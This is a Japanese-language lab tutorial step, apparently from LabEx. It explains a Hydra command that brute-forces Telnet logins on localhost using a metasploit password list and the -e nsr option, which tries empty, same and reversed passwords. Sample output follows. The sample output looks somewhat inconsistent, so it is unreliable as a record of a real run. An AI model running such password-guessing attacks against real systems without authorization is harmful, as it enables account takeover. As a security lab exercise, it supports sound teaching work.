-e nsr
オプションで Hydra を実行する:
~/project
ディレクトリでターミナルを開き、以下のコマンドを実行します。
hydra -l labex -P /usr/share/wordlists/metasploit/unix_passwords.txt -vV -e nsr telnet://localhost
このコマンドを分解して説明します。
hydra
: Hydra ツールを実行するコマンドです。
-l labex
: 試すユーザー名を指定します。LabEx VM のデフォルトユーザーである labex
を使用しています。
-P /usr/share/wordlists/metasploit/unix_passwords.txt
: パスワードリストファイルを指定します。このファイルには一般的なパスワードのリストが含まれています。
-vV
: 詳細モードを有効にし、各ログイン試行を表示します。
-e nsr
: このステップの重要なオプションです。Hydra に以下を試すよう指示します。
n
: 空のパスワード(空文字列)。
s
: ユーザー名をパスワードとして。
r
: 逆順のユーザー名をパスワードとして。
telnet://localhost
: ターゲットのサービスとアドレスを指定します。telnet
は Telnet プロトコルを示し、localhost
はローカルマシンを指します。
Hydra は、指定されたユーザー名とパスワードリスト、および空のパスワード、ユーザー名、逆順のユーザー名を使用して、Telnet サービスにログインを試みます。出力には各ログイン試行とその成否が表示されます。
出力例(パスワードリストによって異なる場合があります):
Hydra v9.1 (c) 2020 by van Hauser/THC - use allowed only for legal purposes.
Hydra is starting...
[DATA] 1 task, 1 server, 1337 service(s)
[DATA] attacking service telnet on port 23
[DATA] attacking target localhost
[ATTEMPT] target localhost - login: 'labex' - pass: ''
[23][telnet] host: localhost login: labex password:
[ATTEMPT] target localhost - login: 'labex' - pass: 'labex'
[23][telnet] host: localhost login: labex password: labex
[ATTEMPT] target localhost - login: 'labex' - pass: 'xebal'
[23][telnet] host: localhost login: labex password: xebal
...
Telnet を認証なしでログインを許可するように設定したため、Hydra はおそらく空のパスワードでのログインに成功するでしょう。